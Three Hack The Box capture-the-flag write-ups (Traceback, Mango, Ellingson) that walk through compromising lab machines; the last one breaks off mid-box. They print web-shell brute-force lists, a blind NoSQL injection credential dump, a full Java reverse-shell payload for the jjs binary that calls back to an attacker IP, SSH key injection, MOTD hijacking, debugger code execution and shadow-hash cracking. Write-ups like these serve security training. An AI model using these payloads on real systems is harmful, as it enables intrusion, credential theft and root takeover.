CTF – HTB – Traceback

Hello everyone and welcome back to yet another HTB writeup.

Our initial nmap scan reveals only an ssh and webserver open.

root@kali:~/Desktop/htb/Traceback# nmap -sC -sV 10.10.10.181 -p 1-65535 -o TCP_full_scan                                                                 [1/1]
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-12 20:46 EDT
Nmap scan report for 10.10.10.181
Host is up (0.036s latency). 
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION                                                                                                                                  
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                                                                 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA) 
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)  
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us                                                          
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
                                                                                                                                                              
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.48 seconds

On the website we find an interesting comment in the source :

<body>
    <center>
        <h1>This site has been owned</h1>
        <h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
        <h3> - Xh4H - </h3>
        <!--Some of the best web shells that you might need ;)-->
    </center>
</body>

Dirbusting for files and folders with seclists then fuzzing to find virtual hosts gives no result.

root@kali:~/Desktop/htb/Traceback# wfuzz -H "Host: FUZZ.traceback.htb" -u "http://traceback.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 151
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://traceback.htb/
Total requests: 4997

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                      
===================================================================

000000690:   400        12 L     53 W     422 Ch      "gc._msdcs"                                                                                  

Total time: 48.01821
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 104.0646

We consider the hint previously given and build a list of webshells that we are going to bruteforce on the box, revealing /smevk.php.

root@kali:~/Desktop/htb/Traceback# cat wordlist 
1n73ction.php            
52.php         
OsComPayLoad.php
c99.php
cgi      
cgipro1.php
cgiproffesional.php
indoxploit
k2
marion001
pak.php
r57.php
shell4sym.php
smtp.php
up.txt
upluad.php
wso
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

We stumble upon a login page and directly get in with admin:admin, and we have full webshell. We proceed to upload a php reverse shell and obtain a shell as webadmin.

root@kali:~/Desktop/htb/Traceback# nc -lvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.181.
Ncat: Connection from 10.10.10.181:56150.
Linux traceback 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 21:21:43 up  1:26,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
/bin/sh: 0: can't access tty; job control turned off

We quickly find a way to pivot as sysadmin, as well as an interesting note.

$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit
$ cd /home/webadmin
$ ls -la
total 48
drwxr-x--- 5 webadmin sysadmin 4096 Apr 15 20:18 .
drwxr-xr-x 4 root     root     4096 Aug 25  2019 ..
-rw------- 1 webadmin webadmin  449 Apr 15 20:51 .bash_history
-rw-r--r-- 1 webadmin webadmin  220 Aug 23  2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23  2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23  2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24  2019 .local
-rw-rw-r-- 1 webadmin webadmin    1 Aug 25  2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin  807 Aug 23  2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Apr 15 20:16 .ssh
-rw-rw-r-- 1 sysadmin sysadmin  122 Mar 16 03:53 note.txt
$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
$

Since we can run a lua script with sysadmin privileges, we proceed to create a lua file and run it as sysadmin.

$ echo -n "os.execute('/bin/sh')" > privesc.lua
$ sudo -u sysadmin /home/sysadmin/luvit privesc.lua
sh: turning off NDELAY mode
id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)

We then proceed to add our ssh public key to the sysadmin authorized_keys to obtain a full interactive shell; in our attacker machine :

root@kali:~/Desktop/htb/Traceback# ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): key
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in key.
Your public key has been saved in key.pub.
The key fingerprint is:
SHA256:mXCRn4D967VXQglQu7bEyfVgdJ8PRGHmaoEJQBA8q7E root@kali
The key's randomart image is:
+---[RSA 4096]----+
|   .o+o+o..o..B..|
|    o . +o o.B .o|
|     o. .+o.o.*o.|
|  . .  o o+o Bo+.|
|   +    S  .X.  o|
|  E       .+... .|
|         . ... o |
|          . . .  |
|             .   |
+----[SHA256]-----+
root@kali:~/Desktop/htb/Traceback#

In our victim machine :

pwd
/home/sysadmin
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpdSnm22bs8CSg8fHuOWhyDn56TAR+BV9DUZaKUyWT2DtPEzfuKgXcGd65IXZLl/fN0e7El0uVr9QiwIqkzTWOGQfFY0gO9OSTGpLEh4jP4caG24H0sPUY5cp6SCwveGWSxnBBa2I2IBjEzHE0ML0pVWA5U3Qw7N8gT24CskklfFm8oaZ2ZVCDpDRZ9Ow+NjDkVRMJLfPIRqsYVaKaiGMNeCBIIoN3OqTWqapx89S2oAbwfKOz9zEMq+Gzx9ibJDy+FYGPGiblZ5eKfdiI4jPrfQFpsex2D7VcLjtOme7FeFzo+22QuUIEuHo1Qg2siVwWkLDJCN+b7mUA1nm/k2/qOetiYuGCnj5mNv9BEht4sADGI4XRSwrHTHIQYiz7dZuw5bKmdxUVapsV/WiShCpIKbsFeaQenploOlgsK7qjknHYwkUUY7/4Y10cM5+1zlV4Vubl/dRAEHeufeXcEuXapKw6kFLDawRIhzFI8Mui3R2RfnyorPHWvyrT4Futztpg9JnWrr6+U73475C8mXZZaZSTizWrySgcRPFL6sW+JfTkn6xmSL7ss3KOBCdc0Z7as5WB5xizl1yf9TxFYuNu8BNcG9YOfJUI1OJHW0mwz8PgB6RLqtXeS5ZR5PXVwONhFX39nkz7OrCEgpsG0J9jST03M820k/YorWNeOeAw5Q== root@kali" >> ./.ssh/authorized_keys

We login as sysadmin with ssh and proceed to enumerate the machine, we quickly find this process running :

root@kali:~/Desktop/htb/Traceback# ssh -i key sysadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 



Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2
$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
$ ps aux

[...snip...]

root       3979  0.0  0.0  58792  3180 ?        S    21:32   0:00 /usr/sbin/CRON -f
root       3982  0.0  0.0   4628   860 ?        Ss   21:32   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
root       3984  0.0  0.0   7468   772 ?        S    21:32   0:00 sleep 30

[..snip...]

Theres a program copying the root MOTD files to another folder. According to ubuntu man pages :

UNIX/Linux system adminstrators often communicate important information to console and
remote users by maintaining text in the file /etc/motd, which is displayed by the
pam_motd(8) module on interactive shell logins.

Luckily, /etc/update-motd.d/ is writeable by sysadmin. However we have a 30 seconds window before our files are squashed by the /var/backups/.update-motd.d/ files.

sysadmin@traceback:/etc/update-motd.d$ ls -la
total 32
drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .
drwxr-xr-x 80 root root     4096 Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  981 Apr 15 21:50 00-header
-rwxrwxr-x  1 root sysadmin  982 Apr 15 21:50 10-help-text
-rwxrwxr-x  1 root sysadmin 4264 Apr 15 21:50 50-motd-news
-rwxrwxr-x  1 root sysadmin  604 Apr 15 21:50 80-esm
-rwxrwxr-x  1 root sysadmin  299 Apr 15 21:50 91-release-upgrade
sysadmin@traceback:/etc/update-motd.d$ cat 00-header
#!/bin/sh
#

[..snip...]

[ -r /etc/lsb-release ] && . /etc/lsb-release

We simply add a command in the 00-header file to call our php-reverse-shell.php and have less than 30 seconds to login as ssh to obtain our command executed and get root user on our listener!

And again, thanks for reading!

CTF – HTB – Mango

Hey everyone and welcome to another write up for a HTB challenge!

We start with the usual nmap scan and reveal port 22, 80 and 443. We then add staging-order.mango.htb to /etc/hosts.

root@kali:~/Desktop/htb/Mango# nmap -sC -sV mango.htb -o TCP_scan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-03 16:45 EDT
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.050s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.60 seconds

On port 80 we have a website called mango that is a copy-cat of a google webpage. The analytics.php link reveals a client-service called flexmonster that is used to display charts and graphics. We explore it a bit but since it is only a client-side service so we don’t need to investigate further. We have the same pages on port 443.

Since we know we already have one subdomain we try to list other existing subdomains with wfuzz by changing the header Host value to any subdomain (fuzzing host virtual routing). We do not find any other subdomain.

root@kali:~/Desktop/htb/Mango# wfuzz -H "Host: FUZZ.mango.htb" -u "https://10.10.10.162" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 
--hw 514
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: https://10.10.10.162/
Total requests: 4997

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                      
===================================================================

000000690:   400        12 L     53 W     443 Ch      "gc._msdcs"                                                                                  

Total time: 58.40617
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 85.55602

The subdomain staging-order.mango.htb gives us a login page. Bruteforcing directory and php files listing we find /home.php as well as a folder called /vendor. By accessing /vendor/composer/installed.json we can view the installed packages on the backend.

[
    {
        "name": "alcaeus/mongo-php-adapter",
        "version": "1.1.9",
        "version_normalized": "1.1.9.0",
        "source": {
            "type": "git",
            "url": "https://github.com/alcaeus/mongo-php-adapter.git",
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f"
        },
        "dist": {
            "type": "zip",
            "url": "https://api.github.com/repos/alcaeus/mongo-php-adapter/zipball/93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "shasum": ""
        },
        "require": {
            "ext-ctype": "*",
            "ext-hash": "*",
            "ext-mongodb": "^1.2.0",
            "mongodb/mongodb": "^1.0.1",
            "php": "^5.6 || ^7.0"
        },
        "provide": {
            "ext-mongo": "1.6.14"
        },
        "require-dev": {
            "phpunit/phpunit": "^5.7.27 || ^6.0 || ^7.0",
            "squizlabs/php_codesniffer": "^3.2"
        },
        "time": "2019-08-07T05:52:28+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-0": {
                "Mongo": "lib/Mongo"
            },
            "psr-4": {
                "Alcaeus\\MongoDbAdapter\\": "lib/Alcaeus/MongoDbAdapter"
            },
            "files": [
                "lib/Mongo/functions.php"
            ]
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "alcaeus",
                "email": "alcaeus@alcaeus.org"
            },
            {
                "name": "Olivier Lechevalier",
                "email": "olivier.lechevalier@gmail.com"
            }
        ],
        "description": "Adapter to provide ext-mongo interface on top of mongo-php-libary",
        "keywords": [
            "database",
            "mongodb"
        ]
    },
    {
        "name": "mongodb/mongodb",
        "version": "1.2.0",
        "version_normalized": "1.2.0.0",
        "source": {
            "type": "git",
            "url": "https://github.com/mongodb/mongo-php-library.git",
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339"
        },
        "dist": {
            "type": "zip",
            "url": "https://api.github.com/repos/mongodb/mongo-php-library/zipball/5cffeb33b893b6bb04195b99ddc3955a29252339",
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339",
            "shasum": ""
        },
        "require": {
            "ext-hash": "*",
            "ext-json": "*",
            "ext-mongodb": "^1.3.0",
            "php": ">=5.5"
        },
        "require-dev": {
            "phpunit/phpunit": "^4.8"
        },
        "time": "2017-10-27T19:42:57+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "MongoDB\\": "src/"
            },
            "files": [
                "src/functions.php"
            ]
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "Apache-2.0"
        ],
        "authors": [
            {
                "name": "Jeremy Mikola",
                "email": "jmikola@gmail.com"
            },
            {
                "name": "Hannes Magnusson",
                "email": "bjori@mongodb.com"
            },
            {
                "name": "Derick Rethans",
                "email": "github@derickrethans.nl"
            }
        ],
        "description": "MongoDB driver library",
        "homepage": "https://jira.mongodb.org/browse/PHPLIB",
        "keywords": [
            "database",
            "driver",
            "mongodb",
            "persistence"
        ]
    }
]

Now that we know we have MongoDB running in the background, we can try a noSQL injection, since it is our only possible attack vector left. Using burp repeater we find that we can extract DB information by pointing our POST request to /home.php.

We then proceed to enumerate users and passwords with a blind noSQL injections, luckily there is a script already available online to run these with our selected parameters.

root@kali:~/Desktop/htb/Mango/Nosql-MongoDB-injection-username-password-enumeration# python nosqli-user-pass-enum.py -u "http://staging-order.mango.htb" -up "username" -pp "password" -op "login" -m POST -ep "username"                                                                                                   
No pattern starts with '0'                                                                                                                                    
No pattern starts with '1'
No pattern starts with '2'
No pattern starts with '3'
No pattern starts with '4'
No pattern starts with '5'
No pattern starts with '6'
No pattern starts with '7'
No pattern starts with '8'
No pattern starts with '9'
Pattern found that starts with 'a'
Pattern found: ad         
Pattern found: adm        
Pattern found: admi       
Pattern found: admin      
username found: admin            
No pattern starts with 'b'
No pattern starts with 'c'

[...snip...]

No pattern starts with 'j'                                                                                                                                    
No pattern starts with 'k'                                                                                                                                    
No pattern starts with 'l'                                                                                                                                    
Pattern found that starts with 'm'                                                                                                                            
Pattern found: ma         
Pattern found: man        
Pattern found: mang       
Pattern found: mango      
username found: mango     
No pattern starts with 'n'
No pattern starts with 'o'
No pattern starts with 'p'
No pattern starts with 'q'
No pattern starts with 'r'     

[...snip...]

o pattern starts with '~'
No pattern starts with ' '
No pattern starts with '        '
No pattern starts with '
'
'o pattern starts with '
No pattern starts with '
                        '
No pattern starts with '
                        '

2 username(s) found:
admin
mango

We do the same for the password parameter :

root@kali:~/Desktop/htb/Mango/Nosql-MongoDB-injection-username-password-enumeration# python nosqli-user-pass-enum.py -u "http://staging-order.mango.htb" -up "username" -pp "password" -op "login" -m POST -ep "password"                    
No pattern starts with '0'
No pattern starts with '1' 

[...snip...]

o pattern starts with 'e'
No pattern starts with 'f'
No pattern starts with 'g'
Pattern found that starts with 'h'
Pattern found: h3                      
Pattern found: h3m                                                                                                                                            
Pattern found: h3mX
Pattern found: h3mXK
Pattern found: h3mXK8
Pattern found: h3mXK8R
Pattern found: h3mXK8Rh
Pattern found: h3mXK8RhU
Pattern found: h3mXK8RhU~
Pattern found: h3mXK8RhU~f
Pattern found: h3mXK8RhU~f{
Pattern found: h3mXK8RhU~f{]
Pattern found: h3mXK8RhU~f{]f
Pattern found: h3mXK8RhU~f{]f5
Pattern found: h3mXK8RhU~f{]f5H
password found: h3mXK8RhU~f{]f5H
No pattern starts with 'i'
No pattern starts with 'j'
No pattern starts with 'k'

[...snip...]

o pattern starts with 'r'
No pattern starts with 's'
Pattern found that starts with 't'
Pattern found: t9
Pattern found: t9K
Pattern found: t9Kc
Pattern found: t9KcS
Pattern found: t9KcS3
Pattern found: t9KcS3>
Pattern found: t9KcS3>!
Pattern found: t9KcS3>!0
Pattern found: t9KcS3>!0B
Pattern found: t9KcS3>!0B#
Pattern found: t9KcS3>!0B#2
password found: t9KcS3>!0B#2
No pattern starts with 'u'
No pattern starts with 'v'

[...snip...]

No pattern starts with '~'
No pattern starts with ' '
No pattern starts with '        '
No pattern starts with '  
'                         
'o pattern starts with '  
No pattern starts with '   
                        '   
No pattern starts with '  
                        ' 
                                       
2 password(s) found:      
h3mXK8RhU~f{]f5H          
t9KcS3>!0B#2

We now have 2 users and 2 passwords. We successfully connect with ssh in mango user using the first password.

root@kali:~/Desktop/htb/Mango# ssh mango@mango.htb
mango@mango.htb's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Apr  9 06:17:58 UTC 2020

  System load:  0.03               Processes:            141
  Usage of /:   25.8% of 19.56GB   Users logged in:      0
  Memory usage: 14%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Apr  9 05:50:13 2020 from 10.10.16.146
mango@mango:~$

We quickly pivot to admin user with the sucommand and the second password.

mango@mango:~$ su admin
Password: 
$ bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/mango$ cd /home/admin
admin@mango:/home/admin$ cat user.txt 
79bf31c6c6eb38a8567832f7f8b47e92
admin@mango:/home/admin$

Now that we have the main user of this box we upload and run LinEnum.sh into the box so we can have a quick report on possible privilege escalation vectors, and we find an SUID binary!

[...snip...]

[+] Possibly interesting SUID files:                                                                                                                          
-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs 

[...snip...]

According to Oracle Help Center :

The jjs command-line tool is used to invoke the Nashorn engine. You can use it to interpret one or several script files, or to run an interactive shell.

Also we find this binary in gtfobins :

It can be used to break out from restricted environments by spawning an interactive system shell.

Since we can spawn a shell and it has a sticky bit, we can abuse it to obtain a shell with root privileges.

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs

We manage to spawn a shell, however it hangs, we can’t type anything in the console, it seems that the process is created but our connection is tied with jjs tty, we can’t run any command. Also we have $ instead of # in our command prompt, meaning we didn’t get a root shell.

Instead we create a reverse shell, luckily we have netcat on the victims box as well as gcc if needed (recompile nc with -e flag). Also, we can’t run sudo as admin. So there’s no way here to augment our privileges by piping our Java commands into sudo jjs.

echo 'var host="10.10.16.146";
var port="9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs

We were able to obtain a shell but we are still admin user. The solution here is simply to use the -p flag with /bin/sh so we can start the shell with the privileged user we wanted, it only works if we have that sticky bit for user or group set. According to the manual of sh :

-p privileged
Turn on privileged mode. This mode is enabled on startup if either the effective user or group ID is not equal to the real user or group ID. Turning this mode off sets the effective user and group IDs to the real user and group IDs. When this mode is enabled for interactive shells, the file / etc / suid_profile is sourced instead of ~ / .profile after / etc / profile is sourced, and the contents of the ENV variable are ignored.

We modify the Java code accordingly and run on the victim’s machine :

var host="10.10.16.146";
var port="9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/sh", "-pc", "/bin/sh -p").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

On our attacker machine :

root@kali:~/Desktop/htb/Mango# nc -lvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.162.
Ncat: Connection from 10.10.10.162:47122.
id
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
cat /root/root.txt
8a8ef79a7a2fbb01ea81688424e9ab15
exit

As you can see, we are still admin user, however, our euid (Effective User ID) is that of root!

To summarize, we find a login page in a subdomain that is vulnerable to a noSQL injection. We use this to exfiltrate users and passwords from the DB. Luckily, the passwords where re-used in the machine so we could login as mango user using ssh with the first password and pivot to admin user with the second password. We then find an SUID binary (jjs) that we successfully exploit to obtain euid=0(root) in the victims machine.

Thanks for reading!

CTF – HTB – Ellingson

Hello everyone and welcome to another HTB writeup. I did this machine a while ago but never had time post this, so here we go!

Let’s start with a basic nmap scan :

root@kali:~/Desktop/htb/Ellingson# nmap -sC -sV -o TCP_scan 10.10.10.139 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-15 12:10 EET
Nmap scan report for ellingson.htb (10.10.10.139)
Host is up (0.13s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
|   256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_  256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://ellingson.htb/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.12 seconds

We explore a simple website and run a dirbuster scan that reveals nothing interesting, a hint in /articles/2 tells us that they implemented a protection against bruteforce attacks, so no need to go deeper this way. Let’s try /articles/99999 to see if we have something… And yes we get an error page!

The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error.

[…snip…]

You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection:

• dump( ) shows all variables in the frame

• dump(obj ) dumps all that’s known about the object

Looks like they are using WSGI, which is running with python, and someone forgot to turn off the debugger, sweet! We can execute commands in the debugger :

import os,subprocess;
val = subprocess.check_output("ls -la", shell=True);
print(val);

And here we already have our foothold in the machine, we simply append our public ssh key to the authorized_keys in hal /.ssh folder and we login as hal :

root@kali:~/Desktop/htb/Ellingson# ssh -i id_rsa hal@10.10.10.139
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.1 ITS (GNU/Linux 4.15.0-46-generic 086 64) 

* Documentation: https://help.ubuntu.com 
* Management: https://landscape.canonical.com 
* Support: https://ubuntu.com/advantage 

System information as of Sat Oct 11 12:16:33 UTC 2019 

System load: 0.0                 Processes: 98 
Usage of /: 23.6% of 19.56GB     Users logged in 0
Memory usage: 13%                IP address for ens33: 10.10.10.139
Swap usage: 0%

* Canonical Livepatch is available for installation. 
  - Reduce system reboots and improve kernel security. Activate at: 
    https://ubuntu.com/livepatch

163 packages can be updated.
80 updates are security updates.

Last login: Sun Mar 11 11:23:12 2019 from 192.168.1.211 
hal@ellingson:—$ 

We enumerate the machine a little bit and find shadow.bak in /var/backups :

hal@ellingson:/var/backups$ cat shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
hal@ellingson:/var/backups$

By using unshadowbinary, we combine the shadow.bak with /etc/passwd and proceed to crack it using john with rockyou.txt wordlist, which takes a while but still gets us credentials :

unshadow ./passwd ./shadow.back > hash
root@kali:~/Desktop/HTB/boxes/ellingson# john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
iamgod$08        (margo)
1g 0:01:22:03 DONE (2019-09-13 11:43) 0.3234g/s 341.5p/s 321.5c/s 341.5C/s zangief..elisha
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We find credentials for theplague user but fails to login. However we also have credentials for user margo and pivot as this user :

root@kali:~/Desktop/htb/Ellingson# ssh margo@10.10.10.139
margo@10.10.10.139s password:
\Welcome to Ubuntu 18.04.1 ITS (GNU/Linux 4.15.0-46-generic x86 64)

* Documentation: https://help.ubuntu.com 
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Sat Oct 17 10:12:34 UTC 2019
 
System load: 0.14               Processes: 103 
Usage of /: 21.5% of 19.56GB    Users logged in 1
Memory usage: 26%               IP address for ens33: 10.10.10.139
Swap usage: 0%

* Canonical Livepatch is available for installation. 
  - Reduce system reboots and improve kernel security. Activate at:
    https://ubuntu.com/livepatch

163 packages can be updated.
80 updates are security updates. 

